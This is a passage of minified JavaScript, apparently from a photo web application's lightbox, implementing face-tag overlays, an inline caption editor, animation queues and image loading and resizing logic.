a=this.pt(),b=a.x/this.Ma.x,d=a.y/this.Ma.y,e=hS(this.eg),f=e.width,e=e.height,g=this.tb.x*b,k=this.oc.y*d,p=this.oc.x*b-g,q=k-this.tb.y*d,d=6*d;g+f+6*b>a.x?T(this.eg,VD,-1*(f-p)+rH):T(this.eg,VD,l);k+e+2*d>a.y?T(this.eg,XD,-1*(q+e+d)+rH):T(this.eg,XD,ef)};x.setBounds=function(a,b){this.Ma.x=a;this.Ma.y=b;this.resize()};x.O2=function(){var a=0.08*this.Ma.x,b=a/2,a=1.5*a/2,d=this.Ma.x/2,e=this.Ma.y/2;this.Tw(d-b,e-a,d+b,e+a)}; x.Tw=function(a,b,d,e){this.tb.x=a;this.tb.y=b;this.oc.x=d;this.oc.y=e;this.resize()};x.D_=function(a,b,d,e){var f=this.pt(),g=this.Ma.x/f.x,f=this.Ma.y/f.y;this.tb.x=a*g;this.tb.y=b*f;this.oc.x=d*g;this.oc.y=e*f;this.resize()};x.n1=function(a){this.pm=Math.max(a,22)};x.show=function(a){a&&l0.kk(this.eg,Fe,Fe,C(this.kB,this),this,!0);this.q().appendChild(this.Tf,this.Kc);U(this.Kc,a)};var P6=function(a){return a*a*a};var Q6=function(){};E(Q6,i0);ML(Q6);Q6.prototype.Y=function(){return YE};var R6=function(a,b,d,e,f){IZ.call(this,f);this.Lo=z(a)?a:!0;this.oj=z(b)?b:!0;this.In=z(d)?d:!0;this.u3=!!e;this.Ma=new yP;this.tb=new yP;this.oc=new yP;this.Fp=new yP;this.og=new yP;n0(f)};E(R6,IZ);x=R6.prototype;x.gL=c;x.C=function(){R6.c.C.call(this);this.Ca(this.b())}; x.Ca=function(a){var b=this.q();this.Tf=a;this.yd=b.createElement(m);this.yd.className=pF;this.mi=b.createElement(m);this.mi.className=XE;this.xd=b.C(vh,{id:sF+VL(this),"class":DE});this.mj=b.C(vh,{id:uF+VL(this),"class":VE});this.Ul=b.createElement(m);M(this.Ul,FE);U(this.Ul,!1);this.Jy=b.createElement(oo);this.Aj=b.C(m,{id:tF+VL(this),"class":mF});this.fd=b.createElement(ys);M(this.fd,lF,sB);this.oj&&this.In&&(this.Be=b.createElement(m),this.Be.innerHTML=ic,this.Be.className=OE,this.Ce=b.createElement(m), this.Ce.innerHTML=ic,this.Ce.className=TE);var d=Q6.Ja(),e=b.createElement(m);e.className=NE;var f=b.createElement(m);f.className=LE;var g=b.createElement(m);M(g,ME,sB);b.Wb(g,Sh);e.appendChild(f);e.appendChild(g);this.nn=new f0(e,d,b);this.nn.Bs(CE);e=b.createElement(m);e.className=SE;f=b.createElement(m);f.className=QE;g=b.createElement(m);M(g,RE,sB);b.Wb(g,ks);e.appendChild(f);e.appendChild(g);this.kn=new f0(e,d,b);this.kn.Bs(CE);this.ta(this.nn);this.ta(this.kn);this.xr=b.C(ys,{"class":jF});this.Br= b.C(m,{"class":kF});this.oj&&M(this.xd,GE);this.Lo&&M(this.xd,JE);this.Fy=new xZ(this.mi,750,P6);this.Fy.show=y;b.appendChild(this.yd,this.mi);b.appendChild(this.mi,this.xd);b.appendChild(this.Ul,this.Jy);b.appendChild(this.xd,this.Ul);b.appendChild(this.xd,this.mj);b.appendChild(this.mi,this.Aj);b.appendChild(this.Aj,this.fd);this.nn.render(this.fd);this.kn.render(this.fd);this.Be&&this.Ce&&(b.appendChild(this.fd,this.Be),b.appendChild(this.fd,this.Ce));b.appendChild(this.fd,this.xr);b.appendChild(this.fd, this.Br);b.appendChild(a,this.yd);this.resize();this.ed(null);this.show(!1,!0)};x.A=function(){R6.c.A.call(this);this.yd&&this.q().removeNode(this.yd);this.Ce=this.Be=this.Br=this.xr=this.fd=this.Aj=this.mj=this.xd=this.mi=this.yd=null}; x.R=function(){R6.c.R.call(this);this.L().j(this.fd,qE,C(this.xi,this,!0));this.L().j(this.fd,pE,C(this.xi,this,!1));this.L().j(this.xd,qE,C(this.xi,this,!0));this.L().j(this.xd,pE,C(this.xi,this,!1));this.Be&&(this.L().j(this.Be,qE,C(this.xi,this,!0)),this.L().j(this.Be,pE,C(this.xi,this,!1)));this.Ce&&(this.L().j(this.Ce,qE,C(this.xi,this,!0)),this.L().j(this.Ce,pE,C(this.xi,this,!1)));this.L().j(this.yd,qE,C(this.CI,this,!0));this.L().j(this.yd,pE,C(this.CI,this,!1));this.oj&&(this.L().j(this.xd, Rx,this.ij),this.L().j(this.fd,Rx,this.ij));this.L().j(this.fd,Rx,this.yV)};x.oa=function(){l0.tL(this);R6.c.oa.call(this)};x.ij=function(a){this.eea();a.stopPropagation()};x.eea=function(){if(this.oj&&!(this.iC||this.$s||this.Zo&&this.In||!this.Zo&&this.Kb)){this.iC=!0;JP(this.xd,HE,!0);U(this.Aj,!1);U(this.mj,!1);var a=1+this.og.y+this.Fp.y,b=this.og.x,a=OO(a,0,100),b=OO(b,0,100);l0.kk(this.Tf,a+Rb,b+Rb,C(this.kB,this),this)}return this.iC};x.PB=function(a){this.xd&&JP(this.xd,this.CN?ZE:KE,a)}; x.xi=function(a,b){this.Lo&&!this.rj()&&this.PB(a);JP(this.xd,IE,a);JP(this.yd,qF,a);b.target==this.Be&&JP(this.Be,PE,a);b.target==this.Ce&&JP(this.Ce,UE,a);U(this.Ul,this.u3&&a)};x.CI=function(a){this.Nda=a};x.yV=function(a){this.Kb&&a.stopPropagation()}; x.kB=function(a){this.dispatchEvent(sI);this.iC=!1;JP(this.xd,HE,!1);U(this.Aj,!0);U(this.mj,!0);if(a&&a.Ab()&&this.NN){var b=ku+(a.dq.getName()+zb),d=C(function(a,d){this.Qw(a);this.ed(d);alert(b)},this,this.Zo,this.Kb);this.Qw(!1);this.ed(a.dq.getName(),void 0,!1,!0,!1);this.NN(a.dq,y,d)}}; x.h5=function(){var a=this.Zo&&this.In,b=this.He&&this.$s;JP(this.fd,oF,!this.Kb);JP(this.Aj,nF,a);JP(this.Aj,iF,b);JP(this.yd,EE,b);this.nn.setVisible(b);this.kn.setVisible(b);this.oj&&a&&(T(this.Be,Yy,a?zC:JF),T(this.Ce,Yy,a?zC:JF));U(this.xr,!b);a=b?this.gL:c;this.q().Wb(this.Br,a);U(this.Br,!!a)}; x.resize=function(){this.x7();this.oe&&(T(this.yd,NJ,this.og.y+Rb),T(this.yd,oD,this.og.x+Rb),T(this.yd,aL,this.Fp.x+Rb),T(this.yd,UB,this.Fp.y+Rb),this.Tu&&SR(this.Ul,this.og.x/-100*this.Tu.width,this.og.y/-100*this.Tu.height))};x.x7=function(){if(this.oe=0<this.Ma.x&&0<this.Ma.y)this.og.x=OO(this.tb.x/this.Ma.x*100,0,100),this.og.y=OO(this.tb.y/this.Ma.y*100,0,100),this.Fp.x=OO((this.oc.x-this.tb.x)/this.Ma.x*100,0,100-this.og.x),this.Fp.y=OO((this.oc.y-this.tb.y)/this.Ma.y*100,0,100-this.og.y)}; x.Vk=function(){return!!this.Kb};x.Gu=function(){return this.Nda};x.rj=function(){return this.$s&&this.He};x.setBounds=function(a,b){this.Ma.x=a;this.Ma.y=b;this.resize()};x.yH=function(a){this.Tu=a.clone();fS(this.Jy,this.Tu);this.resize()};x.Tw=function(a,b,d,e){var f=(a+d)/2;this.tb.x=this.Lo?a:f;this.tb.y=this.Lo?b:e;this.oc.x=this.Lo?d:f;this.oc.y=e;this.resize()};x.ag=function(a){this.Nca!=a&&(this.Nca=a,this.Jy.src=a)}; x.ed=function(a,b,d,e,f){this.Kb=a&&rM(a);this.CN=!!d;this.He=!!e;this.$s=!!f;b&&(this.MN=rM(b));this.Yr()};x.vT=function(a,b){this.gL=a;b||this.Yr()};x.Yr=function(){U(this.mj,this.oj||this.$s&&!this.He);var a=c,b=c;this.MN&&(a=$f+this.MN+xb,b=tf);a=this.Kb?this.oj&&this.Zo&&this.In?Jo+(a+(this.Kb+(b+sh))):a+this.Kb+b:ul;this.PB(this.rj());JP(this.fd,$E,this.CN);this.xr.innerHTML=a;this.h5()};x.Qw=function(a){this.Zo=a;this.Yr()};x.wT=function(a){this.NN=a}; x.FH=function(a,b){M(this.mj,WE);this.L().j(this.mj,Rx,C(function(b,e){if(!b||confirm(b))this.dispatchEvent(fK),this.Q(),a();e.stopPropagation()},this,b))};x.xT=function(a,b){this.In&&(this.L().j(this.Be,Rx,a),this.L().j(this.Ce,Rx,b))};x.tT=function(a){this.L().j(this.nn.b(),Rx,C(function(b){this.dispatchEvent(BH);this.He=!1;this.Yr();a();b.stopPropagation()},this))};x.uT=function(a){this.L().j(this.kn.b(),Rx,C(function(b){this.dispatchEvent(vJ);this.Q();a();b.stopPropagation()},this))}; x.show=function(a,b,d){(a=a&&this.oe)||b?(this.Fy.stop(!1),T(this.mi,iG,1),U(this.mi,a)):this.Fy.play(!1);d&&!this.rj()&&this.PB(a)};var S6=function(){pZ.call(this);this.queue=[]};E(S6,pZ);S6.prototype.add=function(a){H(this.am(),wq);aN(this.queue,a)||(this.queue.push(a),CO(a,KA,this.pR,!1,this))};S6.prototype.remove=function(a){H(this.am(),xq);dN(this.queue,a)&&JO(a,KA,this.pR,!1,this)};S6.prototype.A=function(){I(this.queue,function(a){a.Q()});this.queue.length=0;S6.c.A.call(this)};var T6=function(){S6.call(this);this.OD=0};E(T6,S6); T6.prototype.play=function(a){if(0==this.queue.length)return!1;if(a||this.am())this.OD=0,this.yh();else if(this.Jp())return!1;this.RB();this.qq()&&this.IO();var b=this.qq()&&!a;this.startTime=D();this.yj=null;this.SB();I(this.queue,function(d){b&&!d.qq()||d.play(a)});return!0};T6.prototype.stop=function(a){I(this.queue,function(b){b.am()||b.stop(a)});this.Mp();this.yj=D();this.kC();this.Dh()};T6.prototype.pR=function(){this.OD++;this.OD==this.queue.length&&(this.yj=D(),this.Mp(),this.bC(),this.Dh())};var U6=function(a,b,d){IZ.call(this,d);this.gE=this.iZ=b;this.Ra(a)};E(U6,IZ);x=U6.prototype;x.GB=50;x.n7=0;x.vM="Edit";x.TT=function(a){this.gE=a;return this};x.wM=function(a){this.GB=a||50;return this};x.hp=function(a){(this.p1=a)?T(this.Rb,$D,a+rH):T(this.Rb,$D,c);return this};x.RT=function(a){this.e6=a;return this};x.UT=function(a){this.nca=a;return this};x.ST=function(a){this.vM=a;this.jn();return this}; x.Ca=function(a){var b=this.q();this.qo=b.createElement(SI);this.Rb=a;var d=this.Rb.style;J&&!SN(hf)?(d.whiteSpace=jH,d.wordWrap=lx):d.whiteSpace=DN?Jd:kH;b.Vn(this.qo,a);this.pf(this.qo);this.Ba=b.C(BC,{type:wJ});XT(this.Ba,UT(this.Rb));WT(this.Ba,this.iZ);this.Ba.value=b.zG(this.Rb);U(this.Ba,!1);this.Hl=b.createElement(SI);XT(this.Hl,UT(this.Ba));T(this.Hl,{border:0,display:JF,padding:0,position:Pv,whiteSpace:jH});b.append(this.qo,this.Rb,this.Ba,this.Hl);jQ(this.Rb,!0)}; x.R=function(){U6.c.R.call(this);this.Aa=new bZ(this.Ba);this.vc=new N_(this.Ba);this.jj=new T0(this.Ba);this.cw=new T0(this.Rb);this.L().j(this.Aa,$C,this.Xh);this.L().j(this.vc,BC,this.pS);this.L().j(this.jj,QA,this.oS);this.L().j(this.cw,PA,this.qS);this.L().j(this.b(),qE,this.BG);this.L().j(this.b(),pE,this.AG);this.be=this.q().zG(this.Rb);this.Qb=!0;this.jn();this.Ba.value=this.be}; x.oa=function(){K(this.Aa);this.Aa=null;K(this.vc);this.vc=null;K(this.jj);this.jj=null;K(this.cw);this.cw=null;this.L().$(this.b(),qE,this.BG);this.L().$(this.b(),pE,this.AG);U6.c.oa.call(this)};x.A=function(){jQ(this.Rb,!1);U(this.Rb,!0);this.q().Vn(this.Rb,this.qo);this.Hl=this.Rb=this.qo=this.Ba=null;U6.c.A.call(this)};x.Ju=function(){return this.be}; x.yi=function(a){switch(this.n7){case 0:this.be=hM(a);break;case 2:this.be=hM(a).replace(/\xa0|[ \t]+/g,fa);break;default:this.be=a}this.Ba.value=this.be;this.jn();this.Nu(this.be)};x.enable=function(){this.isEnabled()||(jQ(this.Rb,!0),this.Ba.disabled=!1,this.Qb=!0,this.jn())};x.disable=function(){this.isEnabled()&&(this.cancel(),this.Ba.disabled=!0,this.Qb=!1,this.jn(),jQ(this.Rb,!1))};x.isEnabled=function(){return this.Qb}; x.qS=function(){this.isEnabled()&&!this.Pm&&(this.Nu(this.be),U(this.Ba,!0),U(this.Rb,!1),this.Pm=!0,this.Ba.focus())};x.save=function(){!this.e6&&!this.Ba.value||this.Ba.value==this.be?this.cancel():(this.Pm=!1,this.yi(this.Ba.value),U(this.Ba,!1),U(this.Rb,!0),this.dispatchEvent({type:WK,text:this.be}))};x.cancel=function(){this.Pm&&(this.Pm=!1,this.dispatchEvent({type:JK,text:this.be}));this.yi(this.be);U(this.Ba,!1);U(this.Rb,!0)}; x.jn=function(){var a=this.be||(this.isEnabled()?this.vM:c);this.q().Wb(this.Rb,a)};x.Nu=function(a){this.q().Wb(this.Hl,a);a=hS(this.Hl).width+1;a=OO(a,this.GB,this.p1||Math.max(a,this.GB));a!=this.i2&&(this.Ba.style.width=RR(a,!0),this.i2=a)};x.BG=function(){this.isEnabled()&&WT(this.Rb,this.gE)};x.AG=function(){YT(this.Rb,this.gE)}; x.Xh=function(a){13==a.keyCode?(a.preventDefault(),this.Pm&&this.isEnabled()&&(this.save(),this.blur())):27==a.keyCode?(a.preventDefault(),this.cancel(),this.blur()):!a.charCode||a.ctrlKey||a.metaKey||this.Nu(this.Ba.value+String.fromCharCode(a.charCode));a.stopPropagation()};x.blur=function(){this.Ba.blur()};x.pS=function(){this.Nu(this.Ba.value)};x.oS=function(){this.Pm&&this.isEnabled()&&(this.nca?this.save():this.cancel())};var V6=function(a){return Kg+V(a.QT)+la};V6.yb="apps.photos.lightbox.captionwidget.template";var W6=function(a){OT.call(this,a);this.ib=a.get(IQ);this.tc(-1);this.fc(-1)};E(W6,A1);x=W6.prototype;x.ya=function(){W6.c.ya.call(this);YS(this.b(),V6,{QT:rD});var a=this.q();this.yr=AQ(rD,this.b());this.Ba=(new X6(this.yr,Pj,a)).TT(Rj).RT(!0).ST(Fh).UT(!0);this.Yw();this.Ba.disable()};x.R=function(){W6.c.R.call(this);this.L().j(this.Ba,WK,this.QH)};x.oa=function(){this.L()&&(this.L().$(this.Ba,WK,this.QH),this.p&&this.L().$(this.p.Xa(),Zl,this.lx),this.Ba.oa(),W6.c.oa.call(this))}; x.A=function(){K(this.Ba);this.yr=null;W6.c.A.call(this)};x.disable=function(){this.Ba.disable()};x.enable=function(){this.Ba.enable()};x.isEnabled=function(){return this.Ba.isEnabled()};x.Ka=function(a){this.p&&this.L().$(this.p.Xa(),Zl,this.lx);this.p=a;this.yi(a.Vd());this.L().j(this.p.Xa(),Zl,this.lx)};x.hp=function(a){T(this.b(),ZD,a+rH);this.Ba.hp(a)};x.yi=function(a){this.Ba.yi(a);this.Yw()};x.Yw=function(){this.Ba.Ju()?HP(this.yr,Qj):M(this.yr,Qj)}; x.QH=function(a){this.p.x3(a.text,null);this.Yw()};x.lx=function(a){this.yi(a.target.Vd())};var X6=function(a,b,d){U6.call(this,a,b,d)};E(X6,U6);X6.prototype.blur=function(){g2(this.q())};var Y6=function(a,b){z1.call(this,new A1(a));this.fi=new LQ(this);this.ei=new LQ(this);this.qn=new LQ(this);this.SI=new LQ(this);this.sj=new YX(0,!0);this.rs=[];for(var d=this.q(),e=0;e<this.rJ;e++)this.rs[e]=d.createElement(oo);this.er=new LQ(this);this.Ze=new LQ(this);this.wj=new jZ(C(this.G_,this),300,this);this.Ae=new YX;this.hr=b||null;this.fc(1);this.vJ(330);d=xS(a);this.HT=d.X(sz);this.lH=d.X(TA);this.gH=d.X(bC);this.yS=d.X(AF)};E(Y6,z1);var Z6=new AP(288,288);Y6.prototype.rJ=4; Y6.prototype.xp=0;Y6.prototype.v4=1E3;Y6.prototype.ND=!1;var $6=[yD,Ov,Rz];x=Y6.prototype;x.A=function(){Y6.c.A.call(this);this.fi.Q();this.ei.Q();this.qn.Q();this.er.Q();this.wj.Q();this.sj.clear();this.Ze.Q();this.Ze=null;this.Hx();this.Ow();this.Jx()};x.hn=function(){var a=this.q().createElement(oo);a.className=Uj;return a}; x.AT=function(){var a=this.q(),b=new A1(this.getContext());this.uo=b.b();this.uo.className=Tj;this.hr&&b.ta(this.hr);this.wi=a.createElement(m);this.wi.className=Wj;M(this.wi,Ti);a.Wb(this.wi,os);U(this.wi,!1);a.appendChild(this.uo,this.wi);var d=a.createElement(m);d.className=Li;a.appendChild(this.uo,d);return b}; x.ya=function(){Y6.c.ya.call(this);var a=this.q();M(this.b(),Oj);this.xj=this.hn();this.zd=a.createElement(m);a.appendChild(this.zd,this.xj);a.appendChild(this.Z.b(),this.zd);this.zd.className=Vj;this.rf=new C1(this.getContext());this.rf.tc(-1);this.Z.ta(this.rf);var b=this.rf.b();b.className=sB;this.Ec=this.hn();this.Eb=a.createElement(m);this.Eb.className=sB;a.appendChild(this.Eb,this.Ec);a.appendChild(b,this.Eb);this.df=a.createElement(m);this.df.className=sB;a.appendChild(b,this.df);this.rf.ta(this.AT()); this.jd=new W6(this.getContext());this.Z.ta(this.jd);U(this.Eb,!1);U(this.zd,!1);U(this.df,!1)};x.R=function(){Y6.c.R.call(this);var a=this.Z.b();this.L().j(a,Rx,this.lj).j(a,nE,this.Kw).j(this.Eb,qE,C(this.dr,this,!0,!1)).j(this.Eb,pE,C(this.dr,this,!1,!1))};x.g6=function(){this.ro=!1;this.fi.Na();this.ei.Na();this.qn.Na();this.er.Na();this.Ze.Na();this.SI.Na();this.wj.stop();this.Hx();HP(this.Eb,Sj);HP(this.df,Sj);this.GJ=this.Ns=!1;this.Wl=null;this.Ow();this.Jx();g2(this.q())}; x.Ow=function(){I(this.Ae.mc(),function(a){a.Q()},this);this.Ae.clear()};x.Jx=function(){this.Md=null};x.cr=function(a){(this.ND=a)&&this.dr(!1);return this.Ec?this.Ec.parentNode:null}; x.L_=function(a){var b=((Math.max(hS(this.Eb).width,hS(this.zd).width)+this.hf().width)/2+30)/15;a=1==a?b:-1*b;var b=-1*a,d=function(a){return 1-Math.pow(1-a,1.5)};a=new tZ(this.Eb,[a,0],[0,0],150,d);var b=new tZ(this.zd,[0,0],[b,0],150,d),d=new wZ(this.Eb,150,P6),e=new vZ(this.zd,150,P6);this.Md=new T6;this.Md.add(a);this.Md.add(b);this.Md.add(d);this.Md.add(e)};x.K_=function(){var a=new wZ(this.Eb,150),b=new vZ(this.zd,150);this.Md=new T6;this.Md.add(a);this.Md.add(b)}; x.Yz=function(a){switch(a){case 1:case 2:this.L_(a);break;case 3:this.K_()}this.Md&&(this.L().j(this.Md,Nz,C(this.J_,this)),this.Md.play(!1))};x.J_=function(){this.Jx();U(this.zd,!1);this.dispatchEvent(new L(hL))};x.kp=function(){return!!this.Md};x.qT=function(a){var b=this.hf();this.Ec.src=this.Ls(this.ea.HA?this.ea.HA(b,a):this.ea.Sg(b));a=this.hn();this.qn.j(a,$6,C(this.q0,this,a));a.src=this.Ec.src}; x.q0=function(a,b){this.qn.Na();var d=this.Kz(this.hf(),this.Ec,new AP(a.width,a.height));this.Es(this.Eb,d);JP(this.Eb,Sj,b.type!=yD)}; x.f6=function(a){var b=!1,d,e,f=c,g;g=this.hf();var k=this.ea.mJ();k&&(g.width=Math.min(k.width,g.width),g.height=Math.min(k.height,g.height));var k=this.ea.Fg(),p=this.ea.Os(Z6);p?(d=p.ps(),f=this.ea.Sg(Z6)):this.Pe=WA;this.ro=this.Pe==BJ||this.Pe==ix;b=this.Pe==WA||this.Pe==ix;(p=this.ea.Os(g))?(e=p.ps(),g=this.ea.Sg(g)):g=k;f=this.Ls(f);g=this.Ls(g);f==g&&(this.Pe=WA,this.ro=!1,b=!0);var q=this.sj.get(k);q||(q=[],this.sj.set(k,q));this.Pe==sx&&(0<q.length&&d&&q[q.length-1]!=d&&(d=q[q.length-1], f=this.ea.Sg(new AP(d,d))),this.ro=!0);this.Kl=D();a=a||null;if(this.ro){0==q.length&&(oN(q,d),this.sj.set(k,q));var t=this.hn();q[q.length-1]==d&&(this.fi.j(t,$6,C(this.rZ,this,a,k,t,p)),t.src=f)}b&&(e&&(oN(q,e),this.sj.set(k,q)),d=this.hn(),this.ei.j(d,$6,C(this.nZ,this,a,k,d,p)),d.src=g);this.Ze.j(this.ea.Xa(),qL,this.pZ).j(this.ea.Xa(),[Nn,eo,ro,Mo,Yr],C(function(a){this.pr(a.Zk)},this)).j(this.ea.Xa(),ir,this.Xr)}; x.lJ=function(a,b){if(!this.ph){this.ph=a;U(this.df,!1);var d=this.hf();this.ph.vB(d);this.ph.render(this.df);this.SI.j(this.ph,UF,C(this.M1,this,b||null))}};x.setData=function(a,b,d){this.g6();this.ea=a;this.Pe=b;(a=a.kJ())?(K(this.ph),this.ph=null,this.lJ(a,d)):this.f6(d)};x.getData=function(){return this.ea};x.hf=function(){var a=hS(this.b()),b=a.width-30,a=a.height-10-nS(this.uo).height-nS(this.jd.b()).height;return new AP(Math.max(b,330),Math.max(a,330))}; x.eO=function(a,b){return a.width<b.width&&a.height<b.height};x.uH=function(){var a=this.hf(),b=this.Wl||this.ea.Os(a);this.eO(b,a)||(b=b.clone().xm(a));return b};x.Ls=function(a){if(this.ea.F().zc()){var b=u2.parse(a).jm()+Od;a=(new t2(a)).setOptions(b).Xm()}return a}; x.oM=function(a,b){K(this.ph);this.ph=null;var d=this.Tz!=a;if(d){var e=hS(this.Ec);fS(this.xj,e);this.uJ(this.zd,e)}this.q().Vn(b,this.Ec);d&&this.q().Vn(this.Ec,this.xj);e=this.uH();fS(b,e);this.Es(this.Eb,e);d&&(this.xj=this.Ec);this.Ec=b;this.Tz=a};x.nM=function(a){var b=C(function(){this.dispatchEvent(a);U(this.zd,!1)},this);this.kp()?this.L().Qc(this.Md,Nz,b):b()}; x.rZ=function(a,b,d,e,f){var g=D()-this.Kl;this.Ns=!0;this.Wl=e;(e=this.Pe==BJ||this.Pe==sx)&&this.ei.Na();this.fi.Na();U(this.Eb,!0);U(this.zd,!0);U(this.df,!1);this.Ir();this.Hr();this.oM(b,d);this.pr();b=f.type!=yD;JP(this.Eb,Sj,b);this.wj.stop();this.zp=!1;a&&!this.kp()&&this.Yz(a);this.nM(new a7(e?rL:lL,g,e,b))}; x.nZ=function(a,b,d,e,f){var g=D()-this.Kl;this.fi.Na();this.ei.Na();this.GJ=!0;f=f.type!=yD;this.Wl=e;f&&this.ro&&this.Ns||(this.Wl||(this.Wl=new AP(d.width,d.height)),U(this.Eb,!0),U(this.zd,!0),U(this.df,!1),this.Ir(),this.Hr(),this.oM(b,d),this.Ae.isEmpty()?this.pr():this.Tz&&I(this.Ae.mc(),function(a){a.ag(this.Tz)},this));JP(this.Eb,Sj,f);this.wj.stop();this.zp=!1;!a||this.kp()||this.Ns||this.Yz(a);this.nM(new a7(rL,g,!0,f))}; x.M1=function(a,b){var d=D()-this.Kl;this.fi.Na();this.ei.Na();this.Ir();this.Hr();this.Es(this.df,this.ph.Ew());U(this.Eb,!1);U(this.df,!0);var e=b.type!=UF;JP(this.df,Sj,e);a&&!this.kp()&&this.Yz(a);d=new a7(rL,d,!0,e);this.kp()?this.L().Qc(this.Md,Nz,C(this.dispatchEvent,this,d)):this.dispatchEvent(d)}; x.z7=function(){if(this.ea){var a=this.Pe;if(this.Ns&&!this.GJ){if(a==WA||a==ix)this.ei.Na(),this.fi.Na(),a=D()-this.Kl,this.Pe=BJ,this.wj.stop(),this.zp=!1,OQ(C(this.dispatchEvent,this,new a7(rL,a,!0,!1)),0,this)}else this.zp||(this.zp=!0,a=D()-this.Kl,this.wj.start(Math.max(0,this.v4-a)))}};x.G_=function(){this.ei.Na();this.fi.Na();this.qn.Na();var a=D()-this.Kl;this.Pe=BJ;this.wj.stop();this.zp=!1;this.dispatchEvent(new a7(rL,a,!0,!1))}; x.SH=function(a){if(this.Ec&&this.Ec.src){var b=this.Kz(a,this.Ec,this.Wl);this.Es(this.Eb,b);I(this.Ae.mc(),function(a){a.yH(b)})}};x.Kz=function(a,b,d){var e=hS(b);this.eO(e,a)?d&&(e=d,d.Lp(a)||(e=d.clone().xm(a).round()),fS(b,e),e=hS(b)):(e=e.xm(a).round(),fS(b,e),e=hS(b));return e};x.ee=function(a,b,d){Y6.c.ee.call(this,a,b,d);a=this.hf();this.SH(a);this.xj&&this.xj.src&&(a=this.Kz(a,this.xj),this.uJ(this.zd,a))}; x.UI=function(a,b){T(this.jd.b(),VD,Ie);T(this.jd.b(),WD,Ie);this.jd.hp(Math.max(b,330));var d=hS(this.jd.b()).width,d=(a+30-d)/2;T(this.jd.b(),VD,d+rH);T(this.jd.b(),WD,d+rH)};x.OQ=function(a,b){return new AP(Math.floor((a.width+30-b.width)/2),Math.floor((a.height+10-b.height)/2))};x.uJ=function(a,b){var d=this.hf(),d=this.OQ(d,b);T(a,VD,d.width+rH);T(a,XD,d.height+rH)};x.Es=function(a,b){var d=this.hf();this.UI(d.width,b.width);T(a,XD,this.OQ(d,b).height+rH)}; x.LL=function(a){this.er.Na();this.xp=0;this.v0=D();for(var b=Math.min(this.rs.length,a.length),d=0;d<b;d++){var e=a[d],f=e.Fg(),g=this.hf(),k=e.Os(g),p;k&&(p=k.ps());k=this.sj.get(f)||[];g=e.Sg(g);this.xp++;0<=lN(k,mN,!1,p)?OQ(C(this.vL,this,e),50,this):(p&&oN(k,p),this.sj.set(f,k),this.er.j(this.rs[d],$6,C(this.vL,this,e)),this.rs[d].src=this.Ls(g))}};x.vL=function(){this.xp--;if(0>=this.xp){this.xp=0;var a=D()-this.v0;this.dispatchEvent(new a7(Bh,a,!0,!1))}}; x.Ir=function(){var a=L4(this.ea.Vd());this.ea.F().$c()&&this.HT?this.jd.enable():this.jd.disable();this.jd.Ka(this.ea);if(a||this.jd.isEnabled()){U(this.jd.b(),!0);var a=hS(this.Ec),b=this.hf();this.UI(b.width,a.width);this.SH(b)}else U(this.jd.b(),!1)};x.Hr=function(){U(this.wi,!1)};x.C$=function(a,b){var d=this.Ae.get(a);d&&d.show(b,!0,!0)}; x.dr=function(a,b){var d=!!ZM(this.Ae.mc(),function(a){return a.Gu()&&!a.rj()});I(this.Ae.mc(),function(e){e.show(!this.ND&&a&&(b||d||!this.gH||e.rj()))},this);this.kY=a}; x.VJ=function(a){var b=a.getStatus(),d=4==b,e=!!a.lw();if(this.ea.fH(a)){var f=a.v(),g=new R6(!0,!!this.ea.F().Qq(),this.lH,this.yS,this.q());this.Ae.set(f,g);g.render(this.Eb);var k=this.ea.F().Ud();g.setBounds(k.dc()||0,k.Rc()||0);k=this.uH();g.yH(k);g.Tw(a.qw(),a.sw(),a.ow(),a.pw());g.ag(this.Ec.src);g.wT(C(this.ea.vH,this.ea,f));g.vT(Ut,!0);a.$c()?g.FH(C(this.ea.vw,this.ea,f),Xh):e&&g.FH(C(this.ea.Uq,this.ea,f,!1),Xh);if(a=a.bl()[0])this.lH&&7==b&&(g.xT(C(this.GH,this,g,f,a,!0),C(this.GH,this, g,f,a,!1)),g.Qw(!0)),g.ed(a.bf(),a.Cc()||void 0,!1,d,e),g.rj()&&(g.tT(C(this.ea.Uq,this.ea,f,!0)),g.uT(C(this.ea.Uq,this.ea,f,!1)));g.show(!this.gH||g.rj());this.L().j(g,[BH,sI,vJ,fK],C(function(a){a.type!=fK&&a.type!=vJ||this.Ae.remove(f);g2(this.q())},this));return g}return null}; x.pr=function(a){if(!this.ea.yf())if(a){var b=this.Ae.get(a);b&&(this.Ae.remove(a),b.Q());b=this.ea.F().Fe();if(b=ZM(b,function(b){return b.v()==a}))b=this.VJ(b),this.kY&&b.show(!0)}else this.Ow(),I(this.ea.F().Fe(),function(a){this.VJ(a)},this)};x.GH=function(a,b,d,e){a=d.La()||c;var f=d.bf()||c,g=d.Ep()||void 0;d=d.v()||void 0;e?this.ea.vH(b,new GZ(a,f,f,g,d)):this.ea.o1(b,new GZ(a,f,f,g,d))};x.pZ=function(a){this.ea&&a.target.v()==this.ea.v()&&(a=this.M2(),a.O2(),a.show(!0))}; x.M2=function(){if(!this.um){var a=new O6(!0,!0,this.q());a.render(this.Eb);a.m1(C(this.l1,this));var b=this.ea.hi();a.setBounds(b.width,b.height);a.n1(36);this.um=a}return this.um};x.Hx=function(){this.um&&(this.um.show(!1),this.um.Q(),this.um=null)};x.l1=function(a){g2(this.q());a.Ab()&&(this.c3(a.getTag(),a.Gp()),this.Hx())};x.c3=function(a,b){this.ea.B7(a,this.C7(b))};x.C7=function(a){var b=new I0([]);b.OJ(a.left);b.PJ(a.top);b.MJ(a.left+a.width);b.NJ(a.top+a.height);return b}; x.Xr=function(){this.ea.Hg()||U(this.wi,!0)};x.Kw=function(a){a.ci(0)&&a.target==this.Ec&&this.dispatchEvent(Yv)};x.lj=function(a){a.target==this.wi&&this.ea.hw();var b=[this.rf.b(),this.Z.b(),this.jd.b(),this.uo];aN(b,a.target)||a.stopPropagation()};var a7=function(a,b,d,e){L.call(this,a);this.complete=d;this.error=e};E(a7,L);var b7=function(a){P(this,a,c,-1,[])};E(b7,O);var c7=function(a,b){var d={bia:b.a[0]};a&&(d.ia=b);return d};var d7=function(a){P(this,a,c,-1,[])};E(d7,O);var e7=function(a){P(this,a,c,-1,[])};E(e7,O);var f7=function(a){P(this,a,c,-1,[])};E(f7,O);var g7=function(a,b){var d={Zha:b.a[0],$ha:b.a[1],Yha:b.a[2]};a&&(d.ia=b);return d};var h7=function(a){P(this,a,c,-1,[])};E(h7,O);h7.prototype.getUrl=function(){return this.a[0]};h7.prototype.sb=function(a){this.a[0]=a};var i7=function(a){P(this,a,c,-1,[])};E(i7,O);var j7=function(a,b){var 